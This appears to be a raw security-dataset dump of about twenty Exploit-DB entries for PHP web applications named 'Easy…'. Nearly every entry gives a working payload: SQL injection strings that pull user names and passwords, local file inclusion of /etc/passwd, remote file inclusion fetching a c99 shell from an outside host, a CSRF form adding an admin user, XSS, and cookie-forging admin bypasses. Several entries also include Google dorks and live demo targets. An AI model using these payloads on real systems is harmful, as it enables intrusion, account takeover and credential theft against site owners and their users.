deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15755
Description: Easy Online Shop - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-17
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Easy Online Shop <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : Easy Online Shop
+Vendor : http://www.mhproducts.de/
+Price : 8,90 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : users
+columns : name,password
+Proof of Concept : http://server/easyonlineshop/content.php?kat='+union+select+1
,2,3,4,concat(name,0x3a,password),6,7,8,9,10+from+users--+
----------------------------------------------------------------------------------------
Exploit-DB #6437
Description: Easy Photo Gallery 2.1 - Arbitrary Add Admin / remove user
Type: webapps
Platform: php
Date: 2008-09-11
Author: Stack

Exploit:
#----------------------------------------------------------------
#
#Script : Ezphotogallery 2.1
#
#Type : Vulnerabilities ( Add Admin user/Remove user)
#
#Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="
#
#----------------------------------------------------------------
#
#Discovered by : Stack
#
#----------------------------------------------------------------
#
#Script Download :  http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip
#
#----------------------------------------------------------------

Exploit :
 http://site.il/useradmin.php
how to use exploit
in Add user select
----------------------------------------
Simple example by Stack user :d :d
----------------------------------------
        Add user
Name:  Stack 
[CREDENTIAL_REDACTED] 
E-mail: Stack@hotmail.fr 
Private: yes or no  
Administrator:  yes
now stack username is a administrator user
----------------------------------------
       Remove user
User:  chouse the user and click remove
----------------------------------------

# milw0rm.com [2008-09-11]
Exploit-DB #8815
Description: Easy Px 41 CMS 09.00.00B1 - 'fiche' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-05-27
Author: ThE g0bL!N

Exploit:
# Easy Px 41 CMS v09.00.00B1 (fiche) Local File Include Exploit
# D.Script: http://www.easy-script.com/scripts-dl/EPX41v9.zip
# Discovered by: ThE g0bL!N
# Greetz To: ALL My Friend (dz)
# Exploit: /[path]/?view=LivreDor&fiche=../../../../../../../../etc/passwd%00
# Demo :http://www.epx41.be/?view=LivreDor&fiche=../../../../../../../../etc/passwd%00

# milw0rm.com [2009-05-27]
Exploit-DB #41268
Description: Easy Support Tools 1.0 - 'stt' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Easy Support Tools - FAQs, Help Articles, Blog and Feedback Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-support-tools-faqs-help-articles-blog-and-feedback/17864522
# Demo: http://demos.nelliwinne.net/EasyFAQ/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/faq.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/support.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/blog.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc....Other files have vulnerabilities ...
# # # # #
Exploit-DB #13900
Description: Easy Travel Portal - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-17
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Easy Travel Portal SQl Vulnerable
Vendor url:http://www.softwebsnepal.com/
Version:2
Price:n/a
Published: 2010-06-17
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description

Admin Panel:
This software comes with admin panel form where you can check the number of
listing and do the options like edit / delete . Admin can set email setting
form the admin panel.


Country list:
Upload information of your travel country wise. You can upload country
information like weather, culture, best to wear e.t.c so that to provide
more information about each country for your Visitors.


Hotel details / Travel information:
Admin can upload hotel and travel details for each country like hotel photo,
rates, hotel location , hotel facilites from admin panel so that visitors to
the website can see all these when they log on to website. Since admin can
upload photo, and update information about hotel's and travel plan, its easy
to give new and updated information to customers.


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO  :

http://server/traveldemo/tour_packages.asp?country=[sqli]

http://server/traveldemo/hoteldetails.asp?id=[sqli]

http://server/traveldemo/tourdetails.asp?id=[sqli]

http://server/traveldemo/viewnews.asp?id=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #28883
Description: Easy Web Portal 2.1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-31
Author: MEFISTO

Exploit:
source: https://www.securityfocus.com/bid/20825/info

Easy Web Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.1.2 is vulnerable; other versions may also be affected.

http://www.example.com/i-accueil.php?chemin=http://redhat.by.ru/c99.txt?cmd=id
http://www.example.com/i-index.php?chemin=http://redhat.by.ru/c99.txt?cmd=id
Exploit-DB #41269
Description: Easy Web Search 3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Easy Web Search - PHP Search Engine with Image Search and Crawling System  Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-web-search-php-search-engine-with-image-search-and-crawling-system/17574164
# Demo: http://demos.nelliwinne.net/EasyWebSearchDev/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?id=[SQL]
# 99999'+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/all.php?q=&stt=[SQL]
# 99999+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc....Other files have vulnerabilities ...
# # # # #
Exploit-DB #42572
Description: Easy Web Search 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Easy Web Search 4.0 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://codecanyon.net/item/easy-web-search-php-search-engine-with-image-search-and-crawling-system/17574164
# Demo: http://codecanyon.nelliwinne.net/EasyWebSearch/
# Version: 4.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/admin/admin-delete.php?id=[SQL]
# http://localhost/[PATH]/admin/admin-spidermode.php?id=[SQL]
#
# 755'AnD+(/*!44455sEleCT*/+0x31+/*!44455FrOM*/+(/*!44455sEleCT*/+cOUNT(*),/*!44455CoNCAt*/((/*!44455sEleCT*/(/*!44455sEleCT*/+/*!44455CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!44455FrOM*/+infOrMation_schEma.tables+/*!44455WherE*/+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!44455FrOM*/+infOrMation_schEma.tABLES+/*!44455gROUP*/+bY+x)a)+aND+''='
#
# Etc..
# # # # #
Exploit-DB #5855
Description: Easy Webstore 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## Easy Webstore v1.2  ( index.php cat_path )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : Easy Webstore v1.2
##
## site    : www.webstorexpert.com
##
########################
########################
##
## d0rk :  allinurl: "index.php?cat_path"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?cat_path=-1+union+select+concat(user(),0x2F2A2A2F,version(),0x2F2A2A2F,database())/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.webstorexpert.com/demo/index.php?cat_path=-1+union+select+concat(user(),0x2F2A2A2F,version(),0x2F2A2A2F,database())/*
##
#######################
#######################
 -(:: NOTE ::)-
<< Cant see no thing in the page :)) open the image and get the info in the link ;) >>
 
#######################################################################################################
#######################################################################################################
 
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-18]
Exploit-DB #5275
Description: Easy-Clanpage 2.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-18
Author: n3w7u

Exploit:
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Author: n3w7u

[+] Mail: n3w7u@gmx.net

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

[+] Dork: "Easy-Clanpage v2.2"

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vuln File: /modules/gallery/index.php

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

# milw0rm.com [2008-03-18]
Exploit-DB #5801
Description: Easy-Clanpage 3.0b1 - 'section' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-13
Author: Loader007

Exploit:
####################################################################################
#LFI Exploit by Loader007
#
#you can connect me for questions ICQ:488525928
#
#Script:Easy-Clanpage 3.0b1
#
#download: 
http://www.easy-clanpage.de/?section=downloads&show=viewdownload&id=24
#
#http://example.de/path/?section=[LFI]%00
#
###################################################################################
#HowTo use it
#
#1: make a account
#2: up shell as jpg not bigger than 50kb!
#3: incude the jpg with http://example.de/path/?section=../path/to/image%00
#
#greetz to
#sys-flaw.com
#my friend's Tr0n,N1ReeXz and all the others
###################################################################################

# milw0rm.com [2008-06-13]
Exploit-DB #48099
Description: Easy2Pilot 7 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2020-02-20
Author: indoushka

Exploit:
# Exploit Title: Easy2Pilot 7 - Cross-Site Request Forgery (Add User)
# Author: indoushka
# Date: 2020-02-20
# Tested on: windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)
# Vendor: http://easy2pilot-v7.com/
# CVE: N/A

#poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] save code as poc.html

[+] 

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://www.w3.org/2005/10/profile">
<script data-ad-client="ca-pub-[PII_REDACTED]" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
</tr>
                    </table>
                <br/><br/>
        <form action="https://immosl.lu/admin.php?action=add_user" method="POST">
            <table class="modif_utilisateur" border="0" cellpadding="3" cellspacing="0" width="350">
                <tr>
                    <td class="tah11" colspan="2" align="center"><B>Nouvel utilisateur : </B></td>
                </tr>
                <tr>
                    <td class="tah11" align="right">Nom d'utilisateur :</td>
                    <td class="tah11" align="left"><input type="text" name="user" class="form-control" value=""></td>
                </tr>
                <tr>
                    <td class="tah11" align="right">Mot de passe : </td>
                    <td class="tah11" align="left"><input type="text" name="pass" class="form-control" value=""></td>
                </tr>
                <tr>
                    <td class="tah11" colspan="2" align="center"><input class="btn btn-lg btn-primary" type="submit" value="Ajouter"></td>
                </tr>
            </table>
        </form><br/><br/>
<div>
	

Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
                                                                                                                                      |
=======================================================================================================================================
Exploit-DB #4134
Description: Easybe 1-2-3 Music Store - 'process.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-01
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+               Easybe 1-2-3 Music Store  SQL Injection Vulnerability            +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.easybe.com/
DORK: intext:"Powered by the 1-2-3 music store"

DESCRIPTION: SQL injection in CatagoryID of process.php, able to retrieve admin/pass through
error message.

EXPLOIT: 
http://www.site.com/123music-path/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/*

NOTE:
The CatagoryID value gets passed to a couple SELECT statements and we couldn't get
the results to display inline so we made the data you want to see red in the error msg.

Admin login is in /process.php?pname=ShowPageProcess-Start&page=admin/index

GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+               Easybe 1-2-3 Music Store  SQL Injection Vulnerability            +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-01]
Exploit-DB #32087
Description: EasyBookMarker 4.0 - 'ajaxp_backend.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-21
Author: Dr.Crash

Exploit:
source: https://www.securityfocus.com/bid/30304/info

EasyBookMarker is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

EasyBookMarker 4.0tr is vulnerable; other versions may also be affected. 

<html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/zomplog/ajaxp_backend.php" method="POST" name="form"> <input type="hidden" name="rs" value="&#x22;&#x20; <script>alert(document.cookie)</script>"> </form> </body> </html>
Exploit-DB #5246
Description: EasyCalendar 4.0tr - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-12
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+               EasyCalendar <= 4.0tr - Multiple Remote Vulnerabilities              +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: EsayCalendar
[~] HomePage: http://myiosoft.com
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Verified in localhost with EsayCalendar 4.0tr and magic_quotes Off

[+] Remote SQL Injection:

[~] Vuln File: calendar_backend.php
[~] Exploit: http://localhost/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&month=2&year=-1[SQL]
[~] Example: -1+union+all+select+1,2,3,concat(username,char(54),password),5,6,7,8,9,0,1+from+dbpfixajaxp_users/*

[+] Blind SQL Injection:

[~] Vuln File: ajaxp_backend.php
[~] Exploit: http://localhost/PATH/ajaxp_backend.php?page=[BLIND]
[~] Example: 1+and+1%3D0 

[+] Cross Site Scripting:

[~] Vuln File: calendar_backend.php
[~] Exploit: http://localhost/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&day=[XSS]
[~] Example: >'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-12]
Exploit-DB #6342
Description: EasyClassifields 3.0 - 'go' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-01
Author: e.wiZz!

Exploit:
##############EasyClassifields v3.0 SQL Injection#######################

####By:     e.wiZz!
####Info:   Bosnian Idiot FTW!
####Site:  infected.blogger.ba
####Greetz:   Luigi,suN8Hclf,str0ke
In the wild...

##################################################################

###Script Site: http://myiosoft.com/?1.6.0.0
###Vulnerability:

http://www.inthewild.xxx/path/index.php?PageSection=x&page=browse&go=<sql>

PoC on demo site:

http://myiosoft.com/products/EasyClassifields/demo/staticpages/easyclassifields/index.php?PageSection=0&page=browse&go=-1%20union%20select%20all%20concat(0x3a,version(),0x3a,user(),0x3a,0x3a,database()),2%20from%20mysql.user

# milw0rm.com [2008-09-01]
Exploit-DB #5646
Description: Easycms 0.4.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		      easyCMS <= 0.4.2 Multiple Remote Vulnerabilitys  	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 17 MAY 2008
Script Download: http://ecomansys.sourceforge.net/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

eCMS (all versions avalible) suffers from multiple remote vulnerabilitys.

these include, Insecure Cookie Handling, SQL Injection. the version <= 0.2 allows a admin cookie to be set and
grant full access to the admin area.

versions => 0.2 allows a simple sql statement to be inserted into the cookie bypassing the admin login.

see below for the vulnerabilitys.



SQL Injection (version => 0.2):

javascript:document.cookie = "user=' or '1'='1; path=/";
javascript:document.cookie = "pass=admin; path=/";

before running the above javascript in your browser, replace "admin" with the actual admin username.
most of the time "admin" should work. after running both javascripts on the affected website.
you can visit "/admin.php" to view admin panel.



Insecure Cookie Handling (version <= 0.2):

javascript:document.cookie = "pass=1; path=/";

running the above javascript on a eCMS version <= 0.2 will grant admin access, after running visit "/admin.php"



NOTE/TIP: 

no dork, since people replace the dork in "config.php"


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+		      easyCMS <= 0.4.2 Multiple Remote Vulnerabilitys  	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18]
Exploit-DB #23507
Description: EasyDynamicPages 1.0 - 'config_page.php' PHP Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-02
Author: tsbeginnervn

Exploit:
source: https://www.securityfocus.com/bid/9338/info

EasyDynamicPages is prone to a remote file include vulnerability in a configuration script. This will permit a remote attack to include malicious PHP scripts from remote servers, which will then be executed by the web server hosting the vulnerable software. 

http://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://[attacker's_site]/

The attacker must have a malicious script hosted at the following location:

http://[attacker's_site]/admin/site_settings.php